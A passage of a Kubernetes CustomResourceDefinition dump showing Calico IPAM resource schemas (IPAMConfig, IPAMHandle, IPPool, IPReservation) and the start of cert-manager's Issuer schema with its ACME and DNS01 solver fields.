        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"ipamconfigs.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"IPAMConfig","listKind":"IPAMConfigList","plural":"ipamconfigs","singular":"ipamconfig"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"IPAMConfigSpec contains the specification for an IPAMConfig resource.","properties":{"autoAllocateBlocks":{"type":"boolean"},"maxBlocksPerHost":{"description":"MaxBlocksPerHost, if non-zero, is the max number of blocks that can be\naffine to each host.","maximum":2147483647,"minimum":0,"type":"integer"},"strictAffinity":{"type":"boolean"}},"required":["autoAllocateBlocks","strictAffinity"],"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: ipamconfigs.crd.projectcalico.org
    resourceVersion: "6820673"
    uid: 78809aab-995c-4692-a120-6af45a11eeb6
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: IPAMConfig
      listKind: IPAMConfigList
      plural: ipamconfigs
      singular: ipamconfig
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: IPAMConfigSpec contains the specification for an IPAMConfig
                resource.
              properties:
                autoAllocateBlocks:
                  type: boolean
                maxBlocksPerHost:
                  description: |-
                    MaxBlocksPerHost, if non-zero, is the max number of blocks that can be
                    affine to each host.
                  maximum: 2147483647
                  minimum: 0
                  type: integer
                strictAffinity:
                  type: boolean
              required:
              - autoAllocateBlocks
              - strictAffinity
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: IPAMConfig
      listKind: IPAMConfigList
      plural: ipamconfigs
      singular: ipamconfig
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"ipamhandles.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"IPAMHandle","listKind":"IPAMHandleList","plural":"ipamhandles","singular":"ipamhandle"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"IPAMHandleSpec contains the specification for an IPAMHandle resource.","properties":{"block":{"additionalProperties":{"type":"integer"},"type":"object"},"deleted":{"type":"boolean"},"handleID":{"type":"string"}},"required":["block","handleID"],"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: ipamhandles.crd.projectcalico.org
    resourceVersion: "6820678"
    uid: db38c32c-e2a9-4967-b067-3ead654b6639
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: IPAMHandle
      listKind: IPAMHandleList
      plural: ipamhandles
      singular: ipamhandle
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: IPAMHandleSpec contains the specification for an IPAMHandle
                resource.
              properties:
                block:
                  additionalProperties:
                    type: integer
                  type: object
                deleted:
                  type: boolean
                handleID:
                  type: string
              required:
              - block
              - handleID
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: IPAMHandle
      listKind: IPAMHandleList
      plural: ipamhandles
      singular: ipamhandle
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"ippools.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"IPPool","listKind":"IPPoolList","plural":"ippools","singular":"ippool"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"IPPoolSpec contains the specification for an IPPool resource.","properties":{"allowedUses":{"description":"AllowedUse controls what the IP pool will be used for.  If not specified or empty, defaults to\n[\"Tunnel\", \"Workload\"] for back-compatibility","items":{"type":"string"},"type":"array"},"assignmentMode":{"description":"Determines the mode how IP addresses should be assigned from this pool","enum":["Automatic","Manual"],"type":"string"},"blockSize":{"description":"The block size to use for IP address assignments from this pool. Defaults to 26 for IPv4 and 122 for IPv6.","type":"integer"},"cidr":{"description":"The pool CIDR.","type":"string"},"disableBGPExport":{"description":"Disable exporting routes from this IP Pool's CIDR over BGP. [Default: false]","type":"boolean"},"disabled":{"description":"When disabled is true, Calico IPAM will not assign addresses from this pool.","type":"boolean"},"ipip":{"description":"Deprecated: this field is only used for APIv1 backwards compatibility.\nSetting this field is not allowed, this field is for internal use only.","properties":{"enabled":{"description":"When enabled is true, ipip tunneling will be used to deliver packets to\ndestinations within this pool.","type":"boolean"},"mode":{"description":"The IPIP mode.  This can be one of \"always\" or \"cross-subnet\".  A mode\nof \"always\" will also use IPIP tunneling for routing to destination IP\naddresses within this pool.  A mode of \"cross-subnet\" will only use IPIP\ntunneling when the destination node is on a different subnet to the\noriginating node.  The default value (if not specified) is \"always\".","type":"string"}},"type":"object"},"ipipMode":{"description":"Contains configuration for IPIP tunneling for this pool. If not specified,\nthen this is defaulted to \"Never\" (i.e. IPIP tunneling is disabled).","type":"string"},"nat-outgoing":{"description":"Deprecated: this field is only used for APIv1 backwards compatibility.\nSetting this field is not allowed, this field is for internal use only.","type":"boolean"},"natOutgoing":{"description":"When natOutgoing is true, packets sent from Calico networked containers in\nthis pool to destinations outside of this pool will be masqueraded.","type":"boolean"},"nodeSelector":{"description":"Allows IPPool to allocate for a specific node by label selector.","type":"string"},"vxlanMode":{"description":"Contains configuration for VXLAN tunneling for this pool. If not specified,\nthen this is defaulted to \"Never\" (i.e. VXLAN tunneling is disabled).","type":"string"}},"required":["cidr"],"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: ippools.crd.projectcalico.org
    resourceVersion: "6820684"
    uid: 93f5b26b-a42a-4ce1-b281-0347474ca5f1
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: IPPool
      listKind: IPPoolList
      plural: ippools
      singular: ippool
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: IPPoolSpec contains the specification for an IPPool resource.
              properties:
                allowedUses:
                  description: |-
                    AllowedUse controls what the IP pool will be used for.  If not specified or empty, defaults to
                    ["Tunnel", "Workload"] for back-compatibility
                  items:
                    type: string
                  type: array
                assignmentMode:
                  description: Determines the mode how IP addresses should be assigned
                    from this pool
                  enum:
                  - Automatic
                  - Manual
                  type: string
                blockSize:
                  description: The block size to use for IP address assignments from
                    this pool. Defaults to 26 for IPv4 and 122 for IPv6.
                  type: integer
                cidr:
                  description: The pool CIDR.
                  type: string
                disableBGPExport:
                  description: 'Disable exporting routes from this IP Pool''s CIDR
                    over BGP. [Default: false]'
                  type: boolean
                disabled:
                  description: When disabled is true, Calico IPAM will not assign
                    addresses from this pool.
                  type: boolean
                ipip:
                  description: |-
                    Deprecated: this field is only used for APIv1 backwards compatibility.
                    Setting this field is not allowed, this field is for internal use only.
                  properties:
                    enabled:
                      description: |-
                        When enabled is true, ipip tunneling will be used to deliver packets to
                        destinations within this pool.
                      type: boolean
                    mode:
                      description: |-
                        The IPIP mode.  This can be one of "always" or "cross-subnet".  A mode
                        of "always" will also use IPIP tunneling for routing to destination IP
                        addresses within this pool.  A mode of "cross-subnet" will only use IPIP
                        tunneling when the destination node is on a different subnet to the
                        originating node.  The default value (if not specified) is "always".
                      type: string
                  type: object
                ipipMode:
                  description: |-
                    Contains configuration for IPIP tunneling for this pool. If not specified,
                    then this is defaulted to "Never" (i.e. IPIP tunneling is disabled).
                  type: string
                nat-outgoing:
                  description: |-
                    Deprecated: this field is only used for APIv1 backwards compatibility.
                    Setting this field is not allowed, this field is for internal use only.
                  type: boolean
                natOutgoing:
                  description: |-
                    When natOutgoing is true, packets sent from Calico networked containers in
                    this pool to destinations outside of this pool will be masqueraded.
                  type: boolean
                nodeSelector:
                  description: Allows IPPool to allocate for a specific node by label
                    selector.
                  type: string
                vxlanMode:
                  description: |-
                    Contains configuration for VXLAN tunneling for this pool. If not specified,
                    then this is defaulted to "Never" (i.e. VXLAN tunneling is disabled).
                  type: string
              required:
              - cidr
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: IPPool
      listKind: IPPoolList
      plural: ippools
      singular: ippool
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"ipreservations.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"IPReservation","listKind":"IPReservationList","plural":"ipreservations","singular":"ipreservation"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"IPReservationSpec contains the specification for an IPReservation resource.","properties":{"reservedCIDRs":{"description":"ReservedCIDRs is a list of CIDRs and/or IP addresses that Calico IPAM will exclude from new allocations.","items":{"type":"string"},"type":"array"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: ipreservations.crd.projectcalico.org
    resourceVersion: "6820689"
    uid: 54b1ee30-b1b0-40d5-b318-a2d5bd4269b0
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: IPReservation
      listKind: IPReservationList
      plural: ipreservations
      singular: ipreservation
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: IPReservationSpec contains the specification for an IPReservation
                resource.
              properties:
                reservedCIDRs:
                  description: ReservedCIDRs is a list of CIDRs and/or IP addresses
                    that Calico IPAM will exclude from new allocations.
                  items:
                    type: string
                  type: array
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: IPReservation
      listKind: IPReservationList
      plural: ipreservations
      singular: ipreservation
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:51Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      helm.sh/resource-policy: keep
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:22Z"
    generation: 1
    labels:
      app: cert-manager
      app.kubernetes.io/component: crds
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: issuers.cert-manager.io
    resourceVersion: "220101"
    uid: d4453a2d-8b12-48ab-ae67-6edec02fbddf
  spec:
    conversion:
      strategy: None
    group: cert-manager.io
    names:
      categories:
      - cert-manager
      kind: Issuer
      listKind: IssuerList
      plural: issuers
      shortNames:
      - iss
      singular: issuer
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.conditions[?(@.type=="Ready")].status
        name: Ready
        type: string
      - jsonPath: .status.conditions[?(@.type=="Ready")].message
        name: Status
        priority: 1
        type: string
      - description: CreationTimestamp is a timestamp representing the server time
          when this object was created. It is not guaranteed to be set in happens-before
          order across separate operations. Clients may not set this value. It is
          represented in RFC3339 form and is in UTC.
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      name: v1
      schema:
        openAPIV3Schema:
          description: |-
            An Issuer represents a certificate issuing authority which can be
            referenced as part of `issuerRef` fields.
            It is scoped to a single namespace and can therefore only be referenced by
            resources within the same namespace.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: Desired state of the Issuer resource.
              properties:
                acme:
                  description: |-
                    ACME configures this issuer to communicate with a RFC8555 (ACME) server
                    to obtain signed x509 certificates.
                  properties:
                    caBundle:
                      description: |-
                        Base64-encoded bundle of PEM CAs which can be used to validate the certificate
                        chain presented by the ACME server.
                        Mutually exclusive with SkipTLSVerify; prefer using CABundle to prevent various
                        kinds of security vulnerabilities.
                        If CABundle and SkipTLSVerify are unset, the system certificate bundle inside
                        the container is used to validate the TLS connection.
                      format: byte
                      type: string
                    disableAccountKeyGeneration:
                      description: |-
                        Enables or disables generating a new ACME account key.
                        If true, the Issuer resource will *not* request a new account but will expect
                        the account key to be supplied via an existing secret.
                        If false, the cert-manager system will generate a new ACME account key
                        for the Issuer.
                        Defaults to false.
                      type: boolean
                    email:
                      description: |-
                        Email is the email address to be associated with the ACME account.
                        This field is optional, but it is strongly recommended to be set.
                        It will be used to contact you in case of issues with your account or
                        certificates, including expiry notification emails.
                        This field may be updated after the account is initially registered.
                      type: string
                    enableDurationFeature:
                      description: |-
                        Enables requesting a Not After date on certificates that matches the
                        duration of the certificate. This is not supported by all ACME servers
                        like Let's Encrypt. If set to true when the ACME server does not support
                        it, it will create an error on the Order.
                        Defaults to false.
                      type: boolean
                    externalAccountBinding:
                      description: |-
                        ExternalAccountBinding is a reference to a CA external account of the ACME
                        server.
                        If set, upon registration cert-manager will attempt to associate the given
                        external account credentials with the registered ACME account.
                      properties:
                        keyAlgorithm:
                          description: |-
                            Deprecated: keyAlgorithm field exists for historical compatibility
                            reasons and should not be used. The algorithm is now hardcoded to HS256
                            in golang/x/crypto/acme.
                          enum:
                          - HS256
                          - HS384
                          - HS512
                          type: string
                        keyID:
                          description: keyID is the ID of the CA key that the External
                            Account is bound to.
                          type: string
                        keySecretRef:
                          description: |-
                            keySecretRef is a Secret Key Selector referencing a data item in a Kubernetes
                            Secret which holds the symmetric MAC key of the External Account Binding.
                            The `key` is the index string that is paired with the key data in the
                            Secret and should not be confused with the key data itself, or indeed with
                            the External Account Binding keyID above.
                            The secret key stored in the Secret **must** be un-padded, base64 URL
                            encoded data.
                          properties:
                            key:
                              description: |-
                                The key of the entry in the Secret resource's `data` field to be used.
                                Some instances of this field may be defaulted, in others it may be
                                required.
                              type: string
                            name:
                              description: |-
                                Name of the resource being referred to.
                                More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                              type: string
                          required:
                          - name
                          type: object
                      required:
                      - keyID
                      - keySecretRef
                      type: object
                    preferredChain:
                      description: |-
                        PreferredChain is the chain to use if the ACME server outputs multiple.
                        PreferredChain is no guarantee that this one gets delivered by the ACME
                        endpoint.
                        For example, for Let's Encrypt's DST cross-sign you would use:
                        "DST Root CA X3" or "ISRG Root X1" for the newer Let's Encrypt root CA.
                        This value picks the first certificate bundle in the combined set of
                        ACME default and alternative chains that has a root-most certificate with
                        this value as its issuer's commonname.
                      maxLength: 64
                      type: string
                    privateKeySecretRef:
                      description: |-
                        PrivateKey is the name of a Kubernetes Secret resource that will be used to
                        store the automatically generated ACME account private key.
                        Optionally, a `key` may be specified to select a specific entry within
                        the named Secret resource.
                        If `key` is not specified, a default of `tls.key` will be used.
                      properties:
                        key:
                          description: |-
                            The key of the entry in the Secret resource's `data` field to be used.
                            Some instances of this field may be defaulted, in others it may be
                            required.
                          type: string
                        name:
                          description: |-
                            Name of the resource being referred to.
                            More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                          type: string
                      required:
                      - name
                      type: object
                    profile:
                      description: |-
                        Profile allows requesting a certificate profile from the ACME server.
                        Supported profiles are listed by the server's ACME directory URL.
                      type: string
                    server:
                      description: |-
                        Server is the URL used to access the ACME server's 'directory' endpoint.
                        For example, for Let's Encrypt's staging endpoint, you would use:
                        "https://acme-staging-v02.api.letsencrypt.org/directory".
                        Only ACME v2 endpoints (i.e. RFC 8555) are supported.
                      type: string
                    skipTLSVerify:
                      description: |-
                        INSECURE: Enables or disables validation of the ACME server TLS certificate.
                        If true, requests to the ACME server will not have the TLS certificate chain
                        validated.
                        Mutually exclusive with CABundle; prefer using CABundle to prevent various
                        kinds of security vulnerabilities.
                        Only enable this option in development environments.
                        If CABundle and SkipTLSVerify are unset, the system certificate bundle inside
                        the container is used to validate the TLS connection.
                        Defaults to false.
                      type: boolean
                    solvers:
                      description: |-
                        Solvers is a list of challenge solvers that will be used to solve
                        ACME challenges for the matching domains.
                        Solver configurations must be provided in order to obtain certificates
                        from an ACME server.
                        For more information, see: https://cert-manager.io/docs/configuration/acme/
                      items:
                        description: |-
                          An ACMEChallengeSolver describes how to solve ACME challenges for the issuer it is part of.
                          A selector may be provided to use different solving strategies for different DNS names.
                          Only one of HTTP01 or DNS01 must be provided.
                        properties:
                          dns01:
                            description: |-
                              Configures cert-manager to attempt to complete authorizations by
                              performing the DNS01 challenge flow.
                            properties:
                              acmeDNS:
                                description: |-
                                  Use the 'ACME DNS' (https://github.com/joohoi/acme-dns) API to manage
                                  DNS01 challenge records.
                                properties:
                                  accountSecretRef:
                                    description: |-
                                      A reference to a specific 'key' within a Secret resource.
                                      In some instances, `key` is a required field.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  host:
                                    type: string
                                required:
                                - accountSecretRef
                                - host
                                type: object
                              akamai:
                                description: Use the Akamai DNS zone management API
                                  to manage DNS01 challenge records.
                                properties:
                                  accessTokenSecretRef:
                                    description: |-
                                      A reference to a specific 'key' within a Secret resource.
                                      In some instances, `key` is a required field.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  clientSecretSecretRef:
                                    description: |-
                                      A reference to a specific 'key' within a Secret resource.
                                      In some instances, `key` is a required field.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  clientTokenSecretRef:
                                    description: |-
                                      A reference to a specific 'key' within a Secret resource.
                                      In some instances, `key` is a required field.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  serviceConsumerDomain:
                                    type: string
                                required:
                                - accessTokenSecretRef
                                - clientSecretSecretRef
                                - clientTokenSecretRef
                                - serviceConsumerDomain
                                type: object
                              azureDNS:
                                description: Use the Microsoft Azure DNS API to manage
                                  DNS01 challenge records.
                                properties:
                                  clientID:
                                    description: |-
                                      Auth: Azure Service Principal:
                                      The ClientID of the Azure Service Principal used to authenticate with Azure DNS.
                                      If set, ClientSecret and TenantID must also be set.
                                    type: string
                                  clientSecretSecretRef:
                                    description: |-
                                      Auth: Azure Service Principal:
                                      A reference to a Secret containing the password associated with the Service Principal.
                                      If set, ClientID and TenantID must also be set.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  environment:
                                    description: name of the Azure environment (default
                                      AzurePublicCloud)
                                    enum:
                                    - AzurePublicCloud
                                    - AzureChinaCloud
                                    - AzureGermanCloud
                                    - AzureUSGovernmentCloud
                                    type: string
                                  hostedZoneName:
                                    description: name of the DNS zone that should
                                      be used
                                    type: string
                                  managedIdentity:
                                    description: |-
                                      Auth: Azure Workload Identity or Azure Managed Service Identity:
                                      Settings to enable Azure Workload Identity or Azure Managed Service Identity
                                      If set, ClientID, ClientSecret and TenantID must not be set.
                                    properties:
                                      clientID:
                                        description: client ID of the managed identity,
                                          cannot be used at the same time as resourceID
                                        type: string
                                      resourceID:
                                        description: |-
                                          resource ID of the managed identity, cannot be used at the same time as clientID
                                          Cannot be used for Azure Managed Service Identity
                                        type: string
                                      tenantID:
                                        description: tenant ID of the managed identity,
                                          cannot be used at the same time as resourceID
                                        type: string
                                    type: object
                                  resourceGroupName:
                                    description: resource group the DNS zone is located
                                      in
                                    type: string
                                  subscriptionID:
                                    description: ID of the Azure subscription
                                    type: string
                                  tenantID:
                                    description: |-
                                      Auth: Azure Service Principal:
                                      The TenantID of the Azure Service Principal used to authenticate with Azure DNS.
                                      If set, ClientID and ClientSecret must also be set.
                                    type: string
                                required:
                                - resourceGroupName
                                - subscriptionID
                                type: object
                              cloudDNS:
                                description: Use the Google Cloud DNS API to manage
                                  DNS01 challenge records.
                                properties:
                                  hostedZoneName:
                                    description: |-
                                      HostedZoneName is an optional field that tells cert-manager in which
                                      Cloud DNS zone the challenge record has to be created.
                                      If left empty cert-manager will automatically choose a zone.
                                    type: string
                                  project:
                                    type: string
                                  serviceAccountSecretRef:
                                    description: |-
                                      A reference to a specific 'key' within a Secret resource.
                                      In some instances, `key` is a required field.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                required:
                                - project
                                type: object
                              cloudflare:
                                description: Use the Cloudflare API to manage DNS01
                                  challenge records.
                                properties:
                                  apiKeySecretRef:
                                    description: |-
                                      API key to use to authenticate with Cloudflare.
                                      Note: using an API token to authenticate is now the recommended method
                                      as it allows greater control of permissions.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  apiTokenSecretRef:
                                    description: API token used to authenticate with
                                      Cloudflare.
                                    properties:
                                      key:
                                        description: |-
                                          The key of the entry in the Secret resource's `data` field to be used.
                                          Some instances of this field may be defaulted, in others it may be
                                          required.
                                        type: string
                                      name:
                                        description: |-
                                          Name of the resource being referred to.
                                          More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                        type: string
                                    required:
                                    - name
                                    type: object
                                  email:
                                    description: Email of the account, only required
                                      when using API key based authentication.
                                    type: string
                                type: object
                              cnameStrategy:
                                description: |-
                                  CNAMEStrategy configures how the DNS01 provider should handle CNAME
                                  records when found in DNS zones.
                                enum:
                                - None
                                - Follow
                                type: string
                              digitalocean:
                                description: Use the DigitalOcean DNS API to manage
                                  DNS01 challenge records.
                                properties:
                                  tokenSecretRef:
                                    description: |-
                                      A reference to a specific 'key' within a Secret resource.
                                      In some instances, `key` is a required field.
                                    properties:
                                      key:
                                        description: |-
